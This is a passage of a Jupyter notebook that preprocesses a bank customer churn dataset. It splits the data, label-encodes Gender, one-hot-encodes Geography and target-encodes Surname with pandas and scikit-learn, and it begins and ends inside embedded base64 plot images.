N27doFwP7GUlxcjHXr1jlWWLJYLCgrK8PgwYNRUlICvV6Pxx9/HLfffjuOHDmCtrY22Gy2DjXu378fixYtwvTp0yEQCHDixAlHjb+kVqsxYsQIvPrqq9d80yLeibpuiNvIycm5atGGJ598EjNnzsSRI0cwffp0yGQyqNVqzJs3DwAwZcoUzJ07F+vWrevx891777146qmnkJmZCZFIhNTUVHz77bew2WxISUnBG2+8gUWLFuGtt95Cbm4unnzySccc7n//+98hl8vx6KOP4qWXXsK0adMQHByMm266yfH4q1evxsqVKzF16lTIZDIwxvDrX/8aixYtglAoxK9+9StMmzYNSqUSMTExGDBgAEpKSjp8GnniiSewaNEiBAQEQCaT4ZZbbkFpaek1j2nWrFn405/+hIkTJ/b49SD8RbNXEsITNpsNubm5UKvVWLhwIdflEDdCXTeE8IBer8fo0aNRVlaG+++/n+tyiJuhFj0hhPActegJIYTnKOgJIYTnKOgJIYTnKOgJIYTnKOgJIYTnKOgJIYTn/h+9RDr9eFLcnwAAAABJRU5ErkJggg==", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "# When dealing with numerical characteristics, one of the most useful statistics to examine is the data distribution.\n", + "# we can use Kernel-Density-Estimation plot for that purpose. \n", + "sns.kdeplot(dc.EstimatedSalary)" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": {}, + "outputs": [], + "source": [ + "# Separating out different columns into various categories as defined above\n", + "target_var = ['Exited']\n", + "cols_to_remove = ['RowNumber', 'CustomerId']\n", + "# numerical columns\n", + "num_feats = ['CreditScore', 'Age', 'Tenure', 'Balance', 'NumOfProducts', 'EstimatedSalary']\n", + "# categorical columns\n", + "cat_feats = ['Surname', 'Geography', 'Gender', 'HasCrCard', 'IsActiveMember']" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [], + "source": [ + "y = dc[target_var].values\n", + "dc.drop(cols_to_remove, axis=1, inplace=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "((7920, 12), (1080, 12), (1000, 12), (7920,), (1080,), (1000,))" + ] + }, + "execution_count": 20, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "(0.20303030303030303, 0.22037037037037038, 0.191)" + ] + }, + "execution_count": 20, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Keeping aside a test/holdout set\n", + "dc_train_val, dc_test, y_train_val, y_test = train_test_split(dc, y.ravel(), test_size = 0.1, random_state = 42)\n", + "\n", + "# Splitting into train and validation set\n", + "dc_train, dc_val, y_train, y_val = train_test_split(dc_train_val, y_train_val, test_size = 0.12, random_state = 42)\n", + "dc_train.shape, dc_val.shape, dc_test.shape, y_train.shape, y_val.shape, y_test.shape\n", + "np.mean(y_train), np.mean(y_val), np.mean(y_test)" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'Female': 0, 'Male': 1}" + ] + }, + "execution_count": 21, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# label encoding With the sklearn method\n", + "le = LabelEncoder()\n", + "# Label encoding of Gender variable\n", + "dc_train['Gender'] = le.fit_transform(dc_train['Gender'])\n", + "le_gender_mapping = dict(zip(le.classes_, le.transform(le.classes_)))\n", + "le_gender_mapping" + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": {}, + "outputs": [], + "source": [ + "# Encoding Gender feature for validation and test set\n", + "dc_val['Gender'] = dc_val.Gender.map(le_gender_mapping)\n", + "dc_test['Gender'] = dc_test.Gender.map(le_gender_mapping)\n", + "\n", + "# Filling missing/NaN values created due to new categorical levels\n", + "dc_val['Gender'].fillna(-1, inplace=True)\n", + "dc_test['Gender'].fillna(-1, inplace=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "(array([1, 0]), array([1, 0], dtype=int64), array([1, 0], dtype=int64))" + ] + }, + "execution_count": 23, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "dc_train.Gender.unique(), dc_val.Gender.unique(), dc_test.Gender.unique()" + ] + }, + { + "cell_type": "code", + "execution_count": 24, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([[0., 1., 0.],\n", + " [1., 0., 0.],\n", + " [1., 0., 0.],\n", + " ...,\n", + " [1., 0., 0.],\n", + " [0., 1., 0.],\n", + " [0., 1., 0.]])" + ] + }, + "execution_count": 24, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# With the sklearn method(LabelEncoder())\n", + "le_ohe = LabelEncoder()\n", + "ohe = OneHotEncoder(handle_unknown = 'ignore', sparse=False)\n", + "enc_train = le_ohe.fit_transform(dc_train.Geography).reshape(dc_train.shape[0],1)\n", + "ohe_train = ohe.fit_transform(enc_train)\n", + "ohe_train" + ] + }, + { + "cell_type": "code", + "execution_count": 25, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'France': 0, 'Germany': 1, 'Spain': 2}" + ] + }, + "execution_count": 25, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# mapping between classes\n", + "le_ohe_geography_mapping = dict(zip(le_ohe.classes_, le_ohe.transform(le_ohe.classes_)))\n", + "le_ohe_geography_mapping" + ] + }, + { + "cell_type": "code", + "execution_count": 26, + "metadata": {}, + "outputs": [], + "source": [ + "# Encoding Geography feature for validation and test set\n", + "enc_val = dc_val.Geography.map(le_ohe_geography_mapping).ravel().reshape(-1,1)\n", + "enc_test = dc_test.Geography.map(le_ohe_geography_mapping).ravel().reshape(-1,1)\n", + "\n", + "# Filling missing/NaN values created due to new categorical levels\n", + "enc_val[np.isnan(enc_val)] = 9999\n", + "enc_test[np.isnan(enc_test)] = 9999" + ] + }, + { + "cell_type": "code", + "execution_count": 27, + "metadata": {}, + "outputs": [], + "source": [ + "ohe_val = ohe.transform(enc_val)\n", + "ohe_test = ohe.transform(enc_test)" + ] + }, + { + "cell_type": "code", + "execution_count": 28, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([[0., 0., 0.]])" + ] + }, + "execution_count": 28, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Show what happens when a new value is inputted into the OHE \n", + "ohe.transform(np.array([[9999]]))" + ] + }, + { + "cell_type": "code", + "execution_count": 29, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "['country_France', 'country_Germany', 'country_Spain']" + ] + }, + "execution_count": 29, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "cols = ['country_' + str(x) for x in le_ohe_geography_mapping.keys()]\n", + "cols" + ] + }, + { + "cell_type": "code", + "execution_count": 30, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Training set\n" + ] + }, + { + "data": { + "text/html": [ + "
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SurnameCreditScoreGeographyGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExitedcountry_Francecountry_Germanycountry_Spain
0Yermakova678Germany1361117864.8521027619.0600.01.00.0
1Warlow-Davies613France0275125167.74110199104.5201.00.00.0
2Fu628France14590.0021196862.5601.00.00.0
3Shih513France13050.00210162523.6601.00.00.0
4Mahmood639France12240.0021028188.9601.00.00.0
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" + ], + "text/plain": [ + " Surname CreditScore Geography Gender Age Tenure Balance \\\n", + "0 Yermakova 678 Germany 1 36 1 117864.85 \n", + "1 Warlow-Davies 613 France 0 27 5 125167.74 \n", + "2 Fu 628 France 1 45 9 0.00 \n", + "3 Shih 513 France 1 30 5 0.00 \n", + "4 Mahmood 639 France 1 22 4 0.00 \n", + "\n", + " NumOfProducts HasCrCard IsActiveMember EstimatedSalary Exited \\\n", + "0 2 1 0 27619.06 0 \n", + "1 1 1 0 199104.52 0 \n", + "2 2 1 1 96862.56 0 \n", + "3 2 1 0 162523.66 0 \n", + "4 2 1 0 28188.96 0 \n", + "\n", + " country_France country_Germany country_Spain \n", + "0 0.0 1.0 0.0 \n", + "1 1.0 0.0 0.0 \n", + "2 1.0 0.0 0.0 \n", + "3 1.0 0.0 0.0 \n", + "4 1.0 0.0 0.0 " + ] + }, + "execution_count": 30, + "metadata": {}, + "output_type": "execute_result" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n", + "\n", + "Validation set\n" + ] + }, + { + "data": { + "text/html": [ + "
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SurnameCreditScoreGeographyGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExitedcountry_Francecountry_Germanycountry_Spain
0Sun757France1367144852.06100130861.9501.00.00.0
1Russo552France129100.0021012186.8301.00.00.0
2Munro619France030770729.17111160948.8701.00.00.0
3Perkins633France135100.0021065675.4701.00.00.0
4Aliyeva698Spain1381095010.92111105227.8600.00.01.0
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" + ], + "text/plain": [ + " Surname CreditScore Geography Gender Age Tenure Balance \\\n", + "0 Sun 757 France 1 36 7 144852.06 \n", + "1 Russo 552 France 1 29 10 0.00 \n", + "2 Munro 619 France 0 30 7 70729.17 \n", + "3 Perkins 633 France 1 35 10 0.00 \n", + "4 Aliyeva 698 Spain 1 38 10 95010.92 \n", + "\n", + " NumOfProducts HasCrCard IsActiveMember EstimatedSalary Exited \\\n", + "0 1 0 0 130861.95 0 \n", + "1 2 1 0 12186.83 0 \n", + "2 1 1 1 160948.87 0 \n", + "3 2 1 0 65675.47 0 \n", + "4 1 1 1 105227.86 0 \n", + "\n", + " country_France country_Germany country_Spain \n", + "0 1.0 0.0 0.0 \n", + "1 1.0 0.0 0.0 \n", + "2 1.0 0.0 0.0 \n", + "3 1.0 0.0 0.0 \n", + "4 0.0 0.0 1.0 " + ] + }, + "execution_count": 30, + "metadata": {}, + "output_type": "execute_result" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n", + "\n", + "Test set\n" + ] + }, + { + "data": { + "text/html": [ + "
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SurnameCreditScoreGeographyGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExitedcountry_Francecountry_Germanycountry_Spain
0Anderson596Germany132396709.0720041788.3700.01.00.0
1Herring623France14310.00211146379.3001.00.00.0
2Amechi601Spain04440.0021058561.3100.00.01.0
3Liang506Germany1598119152.10211170679.7400.01.00.0
4Chuang560Spain0277124995.98111114669.7900.00.01.0
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" + ], + "text/plain": [ + " Surname CreditScore Geography Gender Age Tenure Balance \\\n", + "0 Anderson 596 Germany 1 32 3 96709.07 \n", + "1 Herring 623 France 1 43 1 0.00 \n", + "2 Amechi 601 Spain 0 44 4 0.00 \n", + "3 Liang 506 Germany 1 59 8 119152.10 \n", + "4 Chuang 560 Spain 0 27 7 124995.98 \n", + "\n", + " NumOfProducts HasCrCard IsActiveMember EstimatedSalary Exited \\\n", + "0 2 0 0 41788.37 0 \n", + "1 2 1 1 146379.30 0 \n", + "2 2 1 0 58561.31 0 \n", + "3 2 1 1 170679.74 0 \n", + "4 1 1 1 114669.79 0 \n", + "\n", + " country_France country_Germany country_Spain \n", + "0 0.0 1.0 0.0 \n", + "1 1.0 0.0 0.0 \n", + "2 0.0 0.0 1.0 \n", + "3 0.0 1.0 0.0 \n", + "4 0.0 0.0 1.0 " + ] + }, + "execution_count": 30, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Adding to the respective dataframes\n", + "dc_train = pd.concat([dc_train.reset_index(), pd.DataFrame(ohe_train, columns = cols)], axis = 1).drop(['index'], axis=1)\n", + "dc_val = pd.concat([dc_val.reset_index(), pd.DataFrame(ohe_val, columns = cols)], axis = 1).drop(['index'], axis=1)\n", + "dc_test = pd.concat([dc_test.reset_index(), pd.DataFrame(ohe_test, columns = cols)], axis = 1).drop(['index'], axis=1)\n", + "print(\"Training set\")\n", + "dc_train.head()\n", + "print(\"\\n\\nValidation set\")\n", + "dc_val.head()\n", + "print(\"\\n\\nTest set\")\n", + "dc_test.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 31, + "metadata": {}, + "outputs": [], + "source": [ + "dc_train.drop(['Geography'], axis=1, inplace=True)\n", + "dc_val.drop(['Geography'], axis=1, inplace=True)\n", + "dc_test.drop(['Geography'], axis=1, inplace=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 32, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Surname\n", + "Abazu 0.00\n", + "Abbie 0.00\n", + "Abbott 0.25\n", + "Abdullah 1.00\n", + "Abdulov 0.00\n", + "Name: Exited, dtype: float64" + ] + }, + "execution_count": 32, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "Surname\n", + "Zubarev 0.0\n", + "Zubareva 0.0\n", + "Zuev 0.0\n", + "Zuyev 0.0\n", + "Zuyeva 0.0\n", + "Name: Exited, dtype: float64" + ] + }, + "execution_count": 32, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "means = dc_train.groupby(['Surname']).Exited.mean()\n", + "means.head()\n", + "means.tail()" + ] + }, + { + "cell_type": "code", + "execution_count": 33, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "0.20303030303030303" + ] + }, + "execution_count": 33, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "global_mean = y_train.mean()\n", + "global_mean" + ] + }, + { + "cell_type": "code", + "execution_count": 34, + "metadata": {}, + "outputs": [], + "source": [ + "# Creating new encoded features for surname - Target (mean) encoding\n", + "dc_train['Surname_mean_churn'] = dc_train.Surname.map(means)\n", + "dc_train['Surname_mean_churn'].fillna(global_mean, inplace=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 35, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Surname\n", + "Abazu 2\n", + "Abbie 1\n", + "Abbott 4\n", + "Abdullah 1\n", + "Abdulov 1\n", + "dtype: int64" + ] + }, + "execution_count": 35, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "freqs = dc_train.groupby(['Surname']).size()\n", + "freqs.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 36, + "metadata": {}, + "outputs": [], + "source": [ + "dc_train['Surname_freq'] = dc_train.Surname.map(freqs)\n", + "dc_train['Surname_freq'].fillna(0, inplace=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 37, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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SurnameCreditScoreGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExitedcountry_Francecountry_Germanycountry_SpainSurname_mean_churnSurname_freqSurname_enc
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1Warlow-Davies6130275125167.74110199104.5201.00.00.00.00000020.000000
2Fu62814590.0021196862.5601.00.00.00.200000100.222222
3Shih51313050.00210162523.6601.00.00.00.285714210.300000
4Mahmood63912240.0021028188.9601.00.00.00.33333330.500000
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" + ], + "text/plain": [ + " Surname CreditScore Gender Age Tenure Balance NumOfProducts \\\n", + "0 Yermakova 678 1 36 1 117864.85 2 \n", + "1 Warlow-Davies 613 0 27 5 125167.74 1 \n", + "2 Fu 628 1 45 9 0.00 2 \n", + "3 Shih 513 1 30 5 0.00 2 \n", + "4 Mahmood 639 1 22 4 0.00 2 \n", + "\n", + " HasCrCard IsActiveMember EstimatedSalary Exited country_France \\\n", + "0 1 0 27619.06 0 0.0 \n", + "1 1 0 199104.52 0 1.0 \n", + "2 1 1 96862.56 0 1.0 \n", + "3 1 0 162523.66 0 1.0 \n", + "4 1 0 28188.96 0 1.0 \n", + "\n", + " country_Germany country_Spain Surname_mean_churn Surname_freq \\\n", + "0 1.0 0.0 0.000000 4 \n", + "1 0.0 0.0 0.000000 2 \n", + "2 0.0 0.0 0.200000 10 \n", + "3 0.0 0.0 0.285714 21 \n", + "4 0.0 0.0 0.333333 3 \n", + "\n", + " Surname_enc \n", + "0 0.000000 \n", + "1 0.000000 \n", + "2 0.222222 \n", + "3 0.300000 \n", + "4 0.500000 " + ] + }, + "execution_count": 37, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "dc_train['Surname_enc'] = ((dc_train.Surname_freq * dc_train.Surname_mean_churn) - dc_train.Exited)/(dc_train.Surname_freq - 1)\n", + "# Fill NaNs occuring due to category frequency being 1 or less\n", + "dc_train['Surname_enc'].fillna((((dc_train.shape[0] * global_mean) - dc_train.Exited) / (dc_train.shape[0] - 1)), inplace=True)\n", + "dc_train.head(5)" + ] + }, + { + "cell_type": "code", + "execution_count": 38, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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Surname_mean_churnSurname_encExited
Surname_mean_churn1.0000000.548230.562677
Surname_enc0.5482301.00000-0.026440
Exited0.562677-0.026441.000000
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" + ], + "text/plain": [ + " Surname_mean_churn Surname_enc Exited\n", + "Surname_mean_churn 1.000000 0.54823 0.562677\n", + "Surname_enc 0.548230 1.00000 -0.026440\n", + "Exited 0.562677 -0.02644 1.000000" + ] + }, + "execution_count": 38, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Replacing by category means and new category levels by global mean\n", + "dc_val['Surname_enc'] = dc_val.Surname.map(means)\n", + "dc_val['Surname_enc'].fillna(global_mean, inplace=True)\n", + "dc_test['Surname_enc'] = dc_test.Surname.map(means)\n", + "dc_test['Surname_enc'].fillna(global_mean, inplace=True)\n", + "# Show that using LOO Target encoding decorrelates features\n", + "dc_train[['Surname_mean_churn', 'Surname_enc', 'Exited']].corr()" + ] + }, + { + "cell_type": "code", + "execution_count": 39, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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CreditScoreGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExitedcountry_Francecountry_Germanycountry_SpainSurname_enc
06781361117864.8521027619.0600.01.00.00.000000
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" + ], + "text/plain": [ + " CreditScore Gender Age Tenure Balance NumOfProducts HasCrCard \\\n", + "0 678 1 36 1 117864.85 2 1 \n", + "1 613 0 27 5 125167.74 1 1 \n", + "2 628 1 45 9 0.00 2 1 \n", + "3 513 1 30 5 0.00 2 1 \n", + "4 639 1 22 4 0.00 2 1 \n", + "\n", + " IsActiveMember EstimatedSalary Exited country_France country_Germany \\\n", + "0 0 27619.06 0 0.0 1.0 \n", + "1 0 199104.52 0 1.0 0.0 \n", + "2 1 96862.56 0 1.0 0.0 \n", + "3 0 162523.66 0 1.0 0.0 \n", + "4 0 28188.96 0 1.0 0.0 \n", + "\n", + " country_Spain Surname_enc \n", + "0 0.0 0.000000 \n", + "1 0.0 0.000000 \n", + "2 0.0 0.222222 \n", + "3 0.0 0.300000 \n", + "4 0.0 0.500000 " + ] + }, + "execution_count": 39, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "dc_train.drop(['Surname_mean_churn'], axis=1, inplace=True)\n", + "dc_train.drop(['Surname_freq'], axis=1, inplace=True)\n", + "dc_train.drop(['Surname'], axis=1, inplace=True)\n", + "dc_val.drop(['Surname'], axis=1, inplace=True)\n", + "dc_test.drop(['Surname'], axis=1, inplace=True)\n", + "dc_train.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 40, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 40, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": 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